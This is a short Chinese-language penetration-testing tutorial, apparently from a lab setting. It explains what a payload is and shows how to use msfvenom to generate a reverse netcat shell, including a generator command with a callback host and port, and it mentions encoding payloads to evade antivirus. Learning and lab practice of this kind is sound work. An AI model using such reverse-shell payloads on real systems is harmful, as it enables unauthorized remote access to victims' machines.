渗透测试之Payload
一、什么是Payload
一般地在渗透测试中,Payload(攻击载荷),是允许连接到监听器的一个可执行文件或是一段代码
其目的是在受害主机和攻击者之间建立连接,从而获取到被害主机的一个Shell;
此Shell可以是一个正向Shell,也可以是一个反向Shell
二、Payload生成器:msfvenom
听其名而知其意:Payload生成器就是生成一个连接到监听器的可执行文件或一段代码,这里我们使用msfvenom
1、工具介绍
是一个独立于 msf 的 Payload 生成器
此工具替代了:msfpayload (生成payload)
msfencode(对payload编码, 为了绕过一些杀毒软件的检测)
ps:这里我们不演示对payload的编码
2、选项
- --list payloads 查看支持的Payloads
- -p 指定要使用的Payload
- <payload> --list-options 可以查看此payload需要的选项与参数
3、使用netcat实现一个Payload
实际上能实现Payload的工具或语言很多,可以根据具体情况进行选择
1)查找基于netcat实现的Payload:
cat msfvenom_payloads | grep "netcat"
我这里是直接把Payload的列表保存到一个文件了,因为每次查找很慢
这里我们可以使用 cmd/unix/reverse_netcat 这个payload
2)查看此Payload的选项
msfvenom -p cmd/unix/reverse_netcat --list-options
注意:由于我们选择的是反向Shell,所以我们的角度要站在受害主机上,对于受害主机来说,它需要去连接我们,所以这里的 LHOST与LPORT就是我们本机的地址与端口
3)生成Payload并投递执行
1 msfvenom -p cmd/unix/reverse_netcat lhost=172.30.1.3 lport=25565
结果:
这就是我们要投递给靶机,让其执行的代码;由于在高度安全的环境下,nc直接去连并带着自己的Shell是不被允许的,这坨命令的意思就是通过管道与FIFO来实现获取Shell的效果
投递的方式与原理请看:通过python获取靶机的反弹Shell [靶机实战] - CrazyLoe - 博客园 (cnblogs.com)
4)结果